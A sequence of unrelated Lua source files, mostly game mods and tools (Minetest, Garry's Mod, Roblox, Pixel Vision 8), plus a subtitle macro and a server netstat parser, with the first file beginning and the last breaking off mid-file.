minetest.register_alias("cake:sugar", "food:sugar") end minetest.register_craft({ type = "shapeless", output = "cake:cake", recipe = {"farming:flour", "group:water_bucket", "group:food_sugar", "group:food_sugar"}, replacements = { {"group:water_bucket", "bucket:bucket_empty"}, -- Not needed >0.4.13 {"bucket:bucket_water", "bucket:bucket_empty"}, {"bucket:bucket_river_water", "bucket:bucket_empty"} } }) -- THROWABLE CAKE -- minetest.register_entity("cake:cake_entity", { physical = false, timer = 0, textures = {"cake.png"}, lastpos = {}, collisionbox = {0,0,0,0,0,0}, on_step = function(self, dtime) self.timer=self.timer+dtime local pos = self.object:getpos() local node = minetest.get_node(pos) if self.timer>0.2 then local objs = minetest.get_objects_inside_radius({x=pos.x,y=pos.y,z=pos.z}, 2) for k, obj in pairs(objs) do if obj:get_luaentity() == nil or obj:get_luaentity().name ~= "cake:cake_entity" and obj:get_luaentity().name ~= "__builtin:item" then obj:set_hp(obj:get_hp() + 7) self.object:remove() end end end if self.lastpos.x~=nil then if node.name ~= "air" then minetest.add_item(self.lastpos, 'cake:cake') self.object:remove() end end self.lastpos={x=pos.x, y=pos.y, z=pos.z} end, }) if throwable_cake then minetest.override_item("cake:cake", { on_use = function(itemstack, player, pointed_thing) if not minetest.settings:get_bool("creative_mode") then itemstack:take_item() end local playerpos = player:getpos() local obj = minetest.add_entity({x=playerpos.x,y=playerpos.y+1.5,z=playerpos.z}, "cake:cake_entity") local dir = player:get_look_dir() obj:setvelocity({x=dir.x*19, y=dir.y*19, z=dir.z*19}) obj:setacceleration({x=dir.x*-3, y=-10, z=dir.z*-3}) obj:setyaw(player:get_look_yaw()+math.pi) return itemstack end, }) end -- CAKE AWARD -- if minetest.get_modpath("awards") then awards.register_achievement("award_the_lie", { title = S("The Lie"), description = S("Craft a cake"), icon = "cake.png", trigger = { type = "craft", item = "cake:cake", target = 1 } }) end
script_name = "Dialoguisation" script_description = "Sélectionnez deux lignes pour en faire une seule sous forme de dialogue" script_version = "0.4" script_author = "Afaren" include('karaskel.lua') function main(subs, sel, styles) meta, styles = karaskel.collect_head(subs, false) for k, i in ipairs(sel) do if k == 1 then ligne1 = subs[i] num1 = i karaskel.preproc_line_size(meta, styles, ligne1) ita1 = ligne1.styleref.italic else ligne2 = subs[i] num2 = i karaskel.preproc_line_size(meta, styles, ligne2) ita2 = ligne2.styleref.italic end end if ligne1.end_time < ligne2.end_time then ligne1.end_time = ligne2.end_time end if ligne1.start_time > ligne2.start_time then ligne1.start_time = ligne2.start_time end l1_ita = nil l2_ita = nil if ita1 == true or ligne1.text:find("\\i1") ~= nil then if ligne1.text:find("\\i1") ~= nil then ligne1.text = ligne1.text:gsub("\\i1", "") ligne1.text = ligne1.text:gsub("\\i0", "") ligne1.text = ligne1.text:gsub("{}", "") end l1_ita = true end if ita2 == true or ligne2.text:find("\\i1") ~= nil then if ligne2.text:find("\\i1") ~= nil then ligne2.text = ligne2.text:gsub("\\i1", "") ligne2.text = ligne2.text:gsub("\\i0", "") ligne2.text = ligne2.text:gsub("{}", "") end l2_ita = true end if l1_ita == true and l2_ita == true then ligne1.text = "– {\\i1}" .. ligne1.text .. "\\N– " .. ligne2.text elseif l1_ita == true and l2_ita == nil then ligne1.text = "– {\\i1}" .. ligne1.text .. "{\\i0}\\N– " .. ligne2.text elseif l1_ita == nil and l2_ita == true then ligne1.text = "– " .. ligne1.text .. "\\N– {\\i1}" .. ligne2.text else ligne1.text = "– " .. ligne1.text .. "\\N– " .. ligne2.text end subs[num1] = ligne1 subs.delete(num2) table.remove(sel, 2) return sel end function validation(subs, sel) return #sel==2 end aegisub.register_macro(script_name, script_description, main, validation)
CustomColor3 = setmetatable({ toHex = function(color3) local result = "#" for _, element in pairs({color3.r, color3.g, color3.b}) do local hex = "" element = element * 255 while element > 0 do local index = math.fmod(element, 16) + 1 element = math.floor(element / 16) hex = string.sub("0123456789abcdef", index, index) .. hex end if string.len(hex) == 0 then hex = "00" elseif string.len(hex) == 1 then hex = "0" .. hex end result = result .. hex end return result end; toHexInt = function(color3) local hex = CustomColor3.toHex(color3) local hexInt = string.gsub(hex, "#", "0x") return tonumber(hexInt) end; fromHex = function(hex) hex = hex:gsub("#","") return Color3.fromRGB( tonumber("0x" .. string.sub(hex, 1, 2)), tonumber("0x" .. string.sub(hex, 3, 4)), tonumber("0x" .. string.sub(hex, 5, 6)) ) end; toRGB = function(color3) return{ r = math.clamp(math.ceil(color3.R * 255), 0, 255); g = math.clamp(math.ceil(color3.G * 255), 0, 255); b = math.clamp(math.ceil(color3.B * 255), 0, 255); } end; }, {__index = Color3}) return CustomColor3
hook.Add("PlayerSay", "act_chat_commands", function(Player, text, public) text = string.lower( text ) if ( text == "!kill" ) then Player:ConCommand("kill") return "" elseif ( text == "!cheer" ) then Player:ConCommand("act cheer") return "" elseif ( text == "!laugh" ) then Player:ConCommand("act laugh") return "" elseif ( text == "!muscle" ) then Player:ConCommand("act muscle") return "" elseif ( text == "!zombie" ) then Player:ConCommand("act zombie") return "" elseif ( text == "!robot" ) then Player:ConCommand("act robot") return "" elseif ( text == "!dance" ) then Player:ConCommand("act dance") return "" elseif ( text == "!agree" ) then Player:ConCommand("act agree") return "" elseif ( text == "!becon" ) then Player:ConCommand("act becon") return "" elseif ( text == "!disagree" ) then Player:ConCommand("act disagree") return "" elseif ( text == "!salute" ) then Player:ConCommand("act salute") return "" elseif ( text == "!wave" ) then Player:ConCommand("act wave") return "" elseif ( text == "!forward" ) then Player:ConCommand("act forward") return "" elseif ( text == "!pers" ) then Player:ConCommand("act pers") return "" end end)
--[[ Author: FileEX ]] local composer = require 'composer'; display.setStatusBar(display.HiddenStatusBar); local audioManager = require 'sounds'; local ud = require 'userdata'; local function onSystemEvent( event ) if (event.type == 'applicationExit') then local soundOp,musicOp = audioManager.get(); local userData = ud.get(); local appPreferences = { soundsBool = soundOp, musicBool = musicOp, answers = userData.answers, goodAnswers = userData.goodAnswers, badAnswers = userData.badAnswers, allRounds = userData.allRounds, winningRounds = userData.winningRounds, points = userData.points }; saveData(appPreferences); elseif (event.type == 'applicationStart') then loadData(); local data = ud.get(); local allA, goodA, badA, rounds, winRounds, points, soundOp, musicOp = data['answers'], data['goodAnswers'], data['badAnswers'], data['allRounds'], data['winningRounds'], data['points'], data['soundsBool'], data['musicBool']; if (type(allA) == 'nil') then -- others var are the same allA, goodA, badA, rounds, winRounds, points,soundOp,musicOp = 0, 0, 0, 0, 0, 0, true, true; end setUserData({ answers = allA, goodAnswers = goodA, badAnswers = badA, allRounds = rounds, winningRounds = winRounds, points = points, }); updateSoundsData(soundOp, musicOp); composer.gotoScene('menu'); data = nil; collectgarbage('collect'); end end Runtime:addEventListener( "system", onSystemEvent );
--[[ Copyright 2015 Rackspace Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS-IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --]] local HostInfo = require('./base').HostInfo local run = require('./misc').run local Transform = require('stream').Transform -------------------------------------------------------------------------------------------------------------------- local Reader = Transform:extend() function Reader:initialize() Transform.initialize(self, {objectMode = true}) end function Reader:_transform(line, cb) local function getpidandpname(str) if not str or #str == 1 then return '-', '-' else return str:sub(1, str:find('%/')-1), str:sub(str:find('%/')+1) end end local iter = line:gmatch("%S+") local firstw = iter() if firstw ~= '(Not' and firstw ~= 'Active' and firstw ~= 'Proto' and firstw ~= 'will' then local obj = { protocol = firstw, recvq = iter(), sendq = iter(), local_addr = iter(), foreign_addr = iter(), state = iter(), user = iter(), inode = iter() } obj.pid, obj.proccess = getpidandpname(iter()) self:push(obj) end cb() end -------------------------------------------------------------------------------------------------------------------- local Info = HostInfo:extend() function Info:_run(callback) local cmd, args = 'netstat', {'-tlpen'} local outTable, errTable = {}, {} local function finalCb() self:_pushParams(errTable, outTable) return callback() end local child = run(cmd, args) local reader = Reader:new() child:pipe(reader) reader:on('data', function(data) table.insert(outTable, data) end) reader:on('error', function(data) table.insert(errTable, data) end) reader:once('end', finalCb) end function Info:getPlatforms() return {'linux'} end function Info:getType() return 'REMOTE_SERVICES' end exports.Info = Info exports.Reader = Reader
praxis: setClipboardText(getFunction("fugue.makeMidiNote")) praxis: function fugue.makeMidiNote(note) if note == nil then return nil end if note.rest ~= nil then return nil end -- note is a degree of the scale and an octave local midiNote = fugue.currentKey + note.octave * 12 + fugue.minscale[note.degree] return midiNote end -- this is a standard lua idiom -- check member and check parent if lastNote ~= nil then if lastNote.rest ~= nil then lastNoteMidi = fugue.makeMidiNote(lastNote) end end
----------------------------------------- -- ID: 4663 -- Scroll of Aquaveil -- Teaches the white magic Aquaveil ----------------------------------------- function onItemCheck(target) return target:canLearnSpell(55) end function onItemUse(target) target:addSpell(55) end
WORLD = "Earth" assert(rote.expand("Hello $WORLD!") == "Hello Earth!") assert(rote.merge(nil, {}) ~= nil) assert(rote.merge({ foo = "bar" }, {}).foo == "bar") assert(rote.merge({}, { foo = "bar" }).foo == "bar") assert(rote.merge({ foo = "bar" }, { foo = "baz" }).foo == "baz")
local function boolean(key, value) data.raw["bool-setting"][key].hidden = true data.raw["bool-setting"][key].forced_value = value end --
--[[ Pixel Vision 8 - Display Tool Copyright (C) 2017, Pixel Vision 8 (http://pixelvision8.com) Created by Jesse Freeman (@jessefreeman) Please do not copy and distribute verbatim copies of this license document, but modifications without distributing is allowed. ]]-- -- API Bridge LoadScript("sb-sprites") LoadScript("pixel-vision-os-v2") LoadScript("pixel-vision-os-color-picker-v2") LoadScript("pixel-vision-os-sprite-picker-v2") LoadScript("pixel-vision-os-canvas-v2") local toolName = "Sprite Tool" local colorOffset = 0 local systemColorsPerPage = 64 local success = false local emptyColorID = -1 local originalPixelData = nil local lastSelection = -1 local lastColorID = 0 local colorEditorPath = "/" local tools = {"pen", "eraser", "line", "box", "circle", "eyedropper", "fill"}--, "select"} ClearShortcut, SaveShortcut, RevertShortcut, CopyShortcut, PasteShortcut, SpriteBuilderShortcut = 4, 5, 6, 8, 9, 11, 12 function InvalidateData() -- Only everything if it needs to be if(invalid == true)then return end pixelVisionOS:ChangeTitle(toolTitle .."*", "toolbariconfile") invalid = true pixelVisionOS:EnableMenuItem(SaveShortcut, true) end function ResetDataValidation() -- print("Reset Validation") -- Only everything if it needs to be if(invalid == false)then return end pixelVisionOS:ChangeTitle(toolTitle, "toolbariconfile") invalid = false pixelVisionOS:EnableMenuItem(SaveShortcut, false) end function Init() BackgroundColor(22) -- Disable the back key in this tool EnableBackKey(false) -- Create an instance of the Pixel Vision OS pixelVisionOS = PixelVisionOS:Init() -- Get a reference to the Editor UI editorUI = pixelVisionOS.editorUI rootDirectory = ReadMetaData("directory", nil) -- print("Root Directory", rootDirectory) -- TODO For testing, we need a path -- rootDirectory = "/Workspace/Games/GGSystem/" -- rootDirectory = "/Workspace/Games/JumpNShootMan/" -- rootDirectory = "/Workspace/Games/ZeldaIIPalaceAnimation/" -- rootDirectory = "/Workspace/Games/ReaperBoyLD42Disk2/" if(rootDirectory == nil) then else -- Load only the game data we really need success = gameEditor.Load(rootDirectory, {SaveFlags.System, SaveFlags.Colors, SaveFlags.ColorMap, SaveFlags.Sprites}) -- colorEditor:LoadTmpEngine() end -- If data loaded activate the tool if(success == true) then -- Get a list of all the editors local editorMapping = FindEditors() -- Find the json editor colorEditorPath = editorMapping["colors"] local menuOptions = { -- About ID 1 {name = "About", action = function() pixelVisionOS:ShowAboutModal(toolName) end, toolTip = "Learn about PV8."}, {divider = true}, {name = "Edit Colors", enabled = colorEditorPath ~= nil, action = OnEditColors, toolTip = "Open the color editor."}, {name = "Clear", action = OnClear, enabled = false, key = Keys.D, toolTip = "Clear the currently selected color."}, -- Reset all the values {name = "Save", action = OnSave, key = Keys.S, enabled = false, toolTip = "Save changes made to the colors.png file."}, -- Reset all the values {name = "Revert", action = OnRevert, enabled = false, key = Keys.R, toolTip = "Revert the colors.png file to its previous state."}, -- Reset all the values {divider = true}, {name = "Copy", action = OnCopySprite, enabled = false, key = Keys.C, toolTip = "Copy the currently selected sound."}, -- Reset all the values {name = "Paste", action = OnPasteSprite, enabled = false, key = Keys.V, toolTip = "Paste the last copied sound."}, -- Reset all the values {divider = true}, {name = "Optimize", action = OnOptimize, toolTip = "Remove duplicate sprites."}, {name = "Sprite Builder", action = OnSpriteBuilder, key = Keys.B, toolTip = "Generate a sprite table from a project's SpriteBuilder dir."}, -- Reset all the values {divider = true}, {name = "Quit", key = Keys.Q, action = OnQuit, toolTip = "Quit the current game."}, -- Quit the current game } pixelVisionOS:CreateTitleBarMenu(menuOptions, "See menu options for this tool.") -- The first thing we need to do is rebuild the tool's color table to include the game's system and game colors. ImportColorsFromGame() _G["itempickerover"] = {spriteIDs = colorselection.spriteIDs, width = colorselection.width, colorOffset = 28} _G["itempickerselectedup"] = {spriteIDs = colorselection.spriteIDs, width = colorselection.width, colorOffset = (_G["itempickerover"].colorOffset + 4)} _G["spritepickerover"] = {spriteIDs = spritepicker.spriteIDs, width = spritepicker.width, colorOffset = 28} _G["spritepickerselectedup"] = {spriteIDs = spritepicker.spriteIDs, width = spritepicker.width, colorOffset = (_G["spritepickerover"].colorOffset + 4)} spriteIDInputData = editorUI:CreateInputField({x = 176, y = 208, w = 32}, "0", "The ID of the currently selected color.", "number") spriteIDInputData.min = 0 spriteIDInputData.max = gameEditor:TotalSprites() - 1 spriteIDInputData.onAction = ChangeSpriteID sizeBtnData = editorUI:CreateButton({x = 224, y = 200}, "sprite1x", "Pick the sprite size.") sizeBtnData.onAction = OnNextSpriteSize editorUI:Enable(sizeBtnData, false) toolBtnData = editorUI:CreateToggleGroup() toolBtnData.onAction = OnSelectTool for i = 1, #tools do local offsetY = ((i - 1) * 16) + 32 local rect = {x = 144, y = offsetY, w = 16, h = 16} editorUI:ToggleGroupButton(toolBtnData, rect, tools[i], "This is tool button " .. tostring(i)) end -- TODO if using palettes, need to replace this with palette color value local totalColors = pixelVisionOS.totalSystemColors local totalPerPage = 16--pixelVisionOS.systemColorsPerPage local maxPages = 8 colorOffset = pixelVisionOS.colorOffset -- Check the game editor if palettes are being used usePalettes = gameEditor:PaletteMode() if(usePalettes == true) then totalColors = 128 colorOffset = colorOffset + 128 -- Change color label to palette DrawSprites(gamepalettetext.spriteIDs, 24 / 8, 168 / 8, gamepalettetext.width, false, false, DrawMode.Tile) end canvasData = editorUI:CreateCanvas( { x = 8, y = 32, w = 128, h = 128 }, { x = 128, y = 128 }, 1, colorOffset, "Draw on the canvas", pixelVisionOS.emptyColorID ) canvasData.onAction = OnSaveCanvasChanges -- canvasData.onFirstPress = OnCanvasFirstPress spritePickerData = pixelVisionOS:CreateSpritePicker( {x = 152 + 16, y = 32, w = 80, h = 128 }, {x = 8, y = 8}, gameEditor:TotalSprites(), 192 - 32, 10, colorOffset, "spritepicker", "Pick a sprite", false, true, true ) spritePickerData.onSpriteAction = OnSelectSprite spritePickerData.onDropTarget = OnSpritePickerDrop -- TODO setting the total to 0 paletteColorPickerData = pixelVisionOS:CreateColorPicker( {x = 8, y = 184, w = 128, h = 32}, {x = 16, y = 16}, totalColors, totalPerPage, maxPages, colorOffset, "itempicker", "Select a color." ) paletteColorPickerData.onColorPress = function(value) -- if we are in palette mode, just get the currents selection. If we are in direct color mode calculate the real color index value = usePalettes and paletteColorPickerData.picker.selected or pixelVisionOS:CalculateRealColorIndex(paletteColorPickerData, value) -- Make sure if we select the last color, we mark it as the mask color if(value == paletteColorPickerData.total - 1) then value = -1 end lastColorID = value -- Set the canvas brush color editorUI:CanvasBrushColor(canvasData, value) end -- Wire up the picker to change the color offset of the sprite picker paletteColorPickerData.onPageAction = function(value) -- If we are not in palette mode, don't change the sprite color offset if(usePalettes == true) then -- Calculate the new color offset local newColorOffset = colorOffset + ((value - 1) * paletteColorPickerData.totalPerPage) -- Update the sprite picker color offset spritePickerData.colorOffset = newColorOffset -- Update the canvas color offset canvasData.colorOffset = newColorOffset pixelVisionOS:OnSpritePageClick(spritePickerData, spritePickerData.pages.currentSelection) UpdateCanvas(lastSelection) editorUI:SelectPicker(paletteColorPickerData.picker, lastColorID) end end -- Need to convert sprites per page to editor's sprites per page value -- local spritePages = math.floor(gameEditor:TotalSprites() / 192) if(gameEditor:Name() == ReadSaveData("editing", "undefined")) then lastSystemColorSelection = tonumber(ReadSaveData("systemColorSelection", "0")) -- lastTab = tonumber(ReadSaveData("tab", "1")) -- lastSelection = tonumber(ReadSaveData("selected", "0")) end local pathSplit = string.split(rootDirectory, "/") -- Update title with file path toolTitle = pathSplit[#pathSplit] .. "/" .. "sprites.png" editorUI:SelectToggleButton(toolBtnData, 1) pixelVisionOS:SelectColorPage(paletteColorPickerData, 1) pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, 0) -- pixelVisionOS:SelectSpritePickerPage(spritePickerData, 1) pixelVisionOS:SelectSpritePickerSprite(spritePickerData, 0) -- TODO this is not being triggered, need a better way to select the first sprite local startSprite = 0 if(SessionID() == ReadSaveData("sessionID", "") and rootDirectory == ReadSaveData("rootDirectory", "")) then startSprite = tonumber(ReadSaveData("selectedSprite", "0")) end -- pixelVisionOS:ResetSpritePicker(spritePickerData) -- spritePickerData.currentSelection = -1 -- -- Change the input field and load the correct sprite -- editorUI:ChangeInputField(spriteIDInputData, startSprite) ChangeSpriteID(startSprite) -- OnSelectSprite(startSprite) -- local tmpPixelData = gameEditor:Sprite(0) -- -- -- TODO simulate selecting the first sprite -- editorUI:ResizeCanvas(canvasData, NewVector(8, 8), 16, tmpPixelData) ResetDataValidation() else -- Patch background when loading fails -- Left panel DrawRect(8, 32, 128, 128, 0, DrawMode.TilemapCache) DrawRect(168, 32, 80, 128, 0, DrawMode.TilemapCache) DrawRect(8, 184, 128, 32, 0, DrawMode.TilemapCache) DrawRect(176, 208, 32, 8, 0, DrawMode.TilemapCache) DrawRect(136, 164, 3, 9, BackgroundColor(), DrawMode.TilemapCache) DrawRect(248, 180, 3, 9, BackgroundColor(), DrawMode.TilemapCache) DrawRect(136, 220, 3, 9, BackgroundColor(), DrawMode.TilemapCache) pixelVisionOS:ChangeTitle(toolName, "toolbaricontool") pixelVisionOS:ShowMessageModal(toolName .. " Error", "The tool could not load without a reference to a file to edit.", 160, false, function() QuitCurrentTool() end ) end end function OnSpritePickerDrop(src, dest) -- print("On Sprite Drop") -- If the src and the dest are the same, we want to swap colors if(src.name == dest.name) then -- Get the source color ID srcSpriteID = src.currentSelection -- Exit this swap if there is no src selection if(srcSpriteID == nil) then return end -- Get the destination color ID local destSpriteID = pixelVisionOS:CalculateSpritePickerPosition(src).index -- Make sure the colors are not the same if(srcSpriteID ~= destSpriteID) then -- Need to shift src and dest ids based onthe color offset -- local realSrcID = srcSpriteID-- + systemColorPickerData.colorOffset -- local realDestID = destSpriteID-- + systemColorPickerData.colorOffset -- TODO need to account for the scroll offset? -- print("Swap sprite", srcSpriteID, destSpriteID) local srcSprite = gameEditor:Sprite(srcSpriteID) local destSprite = gameEditor:Sprite(destSpriteID) -- Swap the sprite in the tool's color memory gameEditor:Sprite(srcSpriteID, destSprite) gameEditor:Sprite(destSpriteID, srcSprite) pixelVisionOS:RedrawSpritePickerPage(src) ChangeSpriteID(destSpriteID) InvalidateData() end end end function OnEditColors() pixelVisionOS:ShowMessageModal("Edit Colors", "Do you want to open the Color Editor? All unsaved changes will be lost.", 160, true, function() if(pixelVisionOS.messageModal.selectionValue == true) then -- Set up the meta data for the editor for the current directory local metaData = { directory = rootDirectory, } -- Load the tool LoadGame(colorEditorPath, metaData) end end ) end local copiedSpriteData = nil function OnCopySprite() local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData) copiedSpriteData = gameEditor:Sprite(index) -- copiedSpriteData = {} -- -- local colorOffset = pixelVisionOS.gameColorOffset -- -- Need to loop through the pixel data and change the offset -- local total = #tmpPixelData -- for i = 1, total do -- copiedSpriteData[i] = tmpPixelData[i] - colorOffset -- end pixelVisionOS:EnableMenuItem(PasteShortcut, true) end function OnPasteSprite() if(copiedSpriteData == nil) then return end local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData) gameEditor:Sprite(index, copiedSpriteData) copiedSpriteData = nil pixelVisionOS:EnableMenuItem(RevertShortcut, false) pixelVisionOS:RedrawSpritePickerPage(spritePickerData) UpdateCanvas(index) pixelVisionOS:EnableMenuItem(PasteShortcut, false) end function OnRevert() pixelVisionOS:ShowMessageModal("Clear Sprite", "Do you want to revert the sprite's pixel data to it's original state?", 160, true, function() if(pixelVisionOS.messageModal.selectionValue == true) then -- Save changes RevertSprite() end end ) end function RevertSprite() -- print("Revert Sprite", originalPixelData) local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData) gameEditor:Sprite(index, originalPixelData) -- Select the current sprite to update the canvas pixelVisionOS:SelectSpritePickerSprite(spritePickerData, index) -- Redraw the sprite picker page pixelVisionOS:RedrawSpritePickerPage(spritePickerData) -- Invalidate the tool's data InvalidateData() pixelVisionOS:EnableMenuItem(RevertShortcut, false) pixelVisionOS:EnableMenuItem(ClearShortcut, not IsSpriteEmpty(originalPixelData)) end function OnClear() pixelVisionOS:ShowMessageModal("Clear Sprite", "Do you want to clear all of the pixel data for the current sprite?", 160, true, function() if(pixelVisionOS.messageModal.selectionValue == true) then -- Save changes ClearSprite() end end ) end function ClearSprite() -- TODO need to link this up to the size -- get the total number of pixels in the current sprite selection local total = 8 * 8 -- TODO we should calculate an empty sprite when changing sizes instead of doing it over and over again on clear sprite -- Create an empty table for the pixel data tmpPixelData = {} -- Loop through the total pixels and set them to -1 for i = 1, total do tmpPixelData[i] = - 1 end -- Find the currents sprite index local index = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData) -- Update the currently selected sprite gameEditor:Sprite(index, tmpPixelData) -- Select the current sprite to update the canvas pixelVisionOS:SelectSpritePickerSprite(spritePickerData, index) -- Redraw the sprite picker page pixelVisionOS:RedrawSpritePickerPage(spritePickerData) -- Invalidate the tool's data InvalidateData() pixelVisionOS:EnableMenuItem(RevertShortcut, true) pixelVisionOS:EnableMenuItem(ClearShortcut, false) end function OnQuit() if(invalid == true) then pixelVisionOS:ShowMessageModal("Unsaved Changes", "You have unsaved changes. Do you want to save your work before you quit?", 160, true, function() if(pixelVisionOS.messageModal.selectionValue == true) then -- Save changes OnSave() end -- Quit the tool QuitCurrentTool() end ) else -- Quit the tool QuitCurrentTool() end end function OnOptimize() pixelVisionOS:ShowMessageModal("Optimize Sprites", "Before you optimize the sprites, you should make a backup copy of the current 'sprite.png' file. After this process, if you save your changes, it will overwrite the existing 'sprite.png' file.", 160, true, function() if(pixelVisionOS.messageModal.selectionValue == true) then TriggerOptimization() end end ) end function TriggerOptimization() local oldCount = gameEditor:SpritesInRam() gameEditor:OptimizeSprites() local newCount = gameEditor:SpritesInRam() -- print("Optimized", oldCount, newCount) -- TODO force these to redraw? -- pixelVisionOS:ResetSpritePicker(spritePickerData) -- ChangeSpriteID(0) local percent = Clamp(100 - math.ceil(newCount / oldCount * 100), 0, 100) -- Show summary modal and invalidate the data when the modal is closed pixelVisionOS:ShowMessageModal("Optimization Complete", "The sprite optimizer was able to compress sprite memory by ".. percent .. "%. If you save your changes, the previous 'sprite.png' file will be overwritten.", 160, false, function() InvalidateData() end) end function OnSaveCanvasChanges() local pixelData = editorUI:GetCanvasPixelData(canvasData) local canvasSize = editorUI:GetCanvasSize(canvasData) local tmpX = spritePickerData.picker.selectedDrawArgs[2] + spritePickerData.picker.borderOffset local tmpY = spritePickerData.picker.selectedDrawArgs[3] + spritePickerData.picker.borderOffset if(spritePickerData.picker.selected > - 1)then DrawPixels(pixelData, tmpX, tmpY, canvasSize.width, canvasSize.height, false, false, DrawMode.TilemapCache) end local total = #pixelData for i = 1, total do pixelData[i] = pixelData[i] - colorOffset end local realIndex = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData) -- Update the current sprite in the picker gameEditor:Sprite(realIndex, pixelData) if(canvasData.invalid == true) then -- Invalidate the sprite tool since we change some pixel data InvalidateData() -- Reset the canvas invalidation since we copied it editorUI:ResetValidation(canvasData) end -- Make sure the clear button is enabled since a change has happened to the canvas pixelVisionOS:EnableMenuItem(ClearShortcut, true) pixelVisionOS:EnableMenuItem(RevertShortcut, true) end function OnSelectTool(value) local toolName = tools[value] editorUI:ChangeCanvasTool(canvasData, toolName) -- We disable the color selection when switching over to the eraser if(toolName == "eraser") then -- Clear the current color selection pixelVisionOS:ClearColorPickerSelection(paletteColorPickerData) -- Disable the color picker pixelVisionOS:EnableColorPicker(paletteColorPickerData, false) else -- We need to restore the color when switching back to a new tool -- Make sure the last color is in range if(lastColorID == nil or lastColorID == -1) then -- For palette mode, we set the color to the last color per sprite but for direct color mode we set it to the last system color lastColorID = usePalettes and gameEditor:ColorsPerSprite() or paletteColorPickerData.total - 1 end -- Enable co pixelVisionOS:EnableColorPicker(paletteColorPickerData, true) -- Need to find the right color if we are in palette mode if(usePalettes == true) then lastColorID = last end pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, lastColorID) end end local spriteSize = 1 local maxSpriteSize = 4 function OnNextSpriteSize() if(Key(Keys.LeftShift)) then spriteSize = spriteSize - 1 if(spriteSize < 1) then spriteSize = maxSpriteSize end else spriteSize = spriteSize + 1 if(spriteSize > maxSpriteSize) then spriteSize = 1 end end local spriteName = "sprite"..tostring(spriteSize).."x" sizeBtnData.cachedSpriteData = { up = _G[spriteName .. "up"], down = _G[spriteName .. "down"] ~= nil and _G[spriteName .. "down"] or _G[spriteName .. "selectedup"], over = _G[spriteName .. "over"], selectedup = _G[spriteName .. "selectedup"], selectedover = _G[spriteName .. "selectedover"], selecteddown = _G[spriteName .. "selecteddown"] ~= nil and _G[spriteName .. "selecteddown"] or _G[spriteName .. "selectedover"], disabled = _G[spriteName .. "disabled"], empty = _G[spriteName .. "empty"] -- used to clear the sprites } editorUI:Invalidate(sizeBtnData) end function ImportColorsFromGame() pixelVisionOS:ImportColorsFromGame() end function OnSave() -- TODO need to save all of the colors back to the game -- This will save the system data, the colors and color-map gameEditor:Save(rootDirectory, {SaveFlags.System, SaveFlags.Sprites}) -- Display a message that everything was saved pixelVisionOS:DisplayMessage("Your changes have been saved.", 5) -- Clear the validation ResetDataValidation() end function OnSelectSprite(value) -- TODO need to convert the value to the Real ID value = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData, value) editorUI:ChangeInputField(spriteIDInputData, value, false) UpdateCanvas(value) end function UpdateCanvas(value) -- Save the original pixel data from the selection local tmpPixelData = gameEditor:Sprite(value) local scale = 16 -- TODO need to get the real scale local size = NewVector(8, 8) -- TODO simulate selecting the first sprite editorUI:ResizeCanvas(canvasData, size, scale, tmpPixelData) -- If this is a new selection we want to save the original pixel data for the revert option if(value ~= lastSelection) then originalPixelData = {} -- local colorOffset = pixelVisionOS.gameColorOffset -- Need to loop through the pixel data and change the offset local total = #tmpPixelData for i = 1, total do originalPixelData[i] = tmpPixelData[i] - colorOffset end lastSelection = value pixelVisionOS:EnableMenuItem(RevertShortcut, false) -- Only enable the clear menu when the sprite is not empty pixelVisionOS:EnableMenuItem(ClearShortcut, not IsSpriteEmpty(tmpPixelData)) pixelVisionOS:EnableMenuItem(CopyShortcut, true) end end function IsSpriteEmpty(pixelData) local total = #pixelData for i = 1, total do if(pixelData[i] ~= -1) then return false end end return true end function ChangeSpriteID(value) -- Need to convert the text into a number value = tonumber(value) pixelVisionOS:SelectSpritePickerSprite(spritePickerData, value) editorUI:ChangeInputField(spriteIDInputData, value, false) UpdateCanvas(value) pixelVisionOS:RedrawSpritePickerPage(spritePickerData) -- TODO don't know why I need to force this to stop dragging here? spritePickerData.dragging = false end function Update(timeDelta) -- This needs to be the first call to make sure all of the editor UI is updated first pixelVisionOS:Update(timeDelta) -- Only update the tool's UI when the modal isn't active if(pixelVisionOS:IsModalActive() == false) then if(success == true) then pixelVisionOS:UpdateSpritePicker(spritePickerData) editorUI:UpdateInputField(spriteIDInputData) -- editorUI:UpdateInputField(colorHexInputData) editorUI:UpdateButton(sizeBtnData) editorUI:UpdateCanvas(canvasData) if(canvasData.tool == "eyedropper") then local colorID = canvasData.overColor -- -- TODO need to account for direct color mode or palette mode -- TODO in palette mode, use % to find the correct color on any page since you only paint with 0 - 16 -- Only update the color selection when it's new if(colorID ~= lastColorID) then if(usePalettes == true) then -- print("colorID", colorID) end lastColorID = colorID if(colorID == -1) then local lastColor = usePalettes and gameEditor:ColorsPerSprite() or paletteColorPickerData.total - 1 pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, lastColor) else pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, lastColorID) end end end editorUI:UpdateToggleGroup(toolBtnData) -- System picker -- pixelVisionOS:UpdateColorPicker(systemColorPickerData) pixelVisionOS:UpdateColorPicker(paletteColorPickerData) if(IsExporting()) then -- print("Exporting", tostring(ReadExportPercent()).. "% complete.") pixelVisionOS:DisplayMessage("Saving " .. tostring(ReadExportPercent()).. "% complete.", 2) end end end end function Draw() RedrawDisplay() -- The ui should be the last thing to update after your own custom draw calls pixelVisionOS:Draw() end function Shutdown() -- Save the current session ID WriteSaveData("sessionID", SessionID()) WriteSaveData("rootDirectory", rootDirectory) WriteSaveData("selectedSprite", spritePickerData.currentSelection) -- TODO need to add selected tool, color and color page end function OnSpriteBuilder() -- print("rootDirectory", rootDirectory) local count = gameEditor:RunSpriteBuilder(rootDirectory) if(count > 0) then pixelVisionOS:DisplayMessage(count .. " sprites were processed for the 'sb-sprites.lua' file.") else pixelVisionOS:DisplayMessage("No sprites were found in the 'SpriteBuilder' 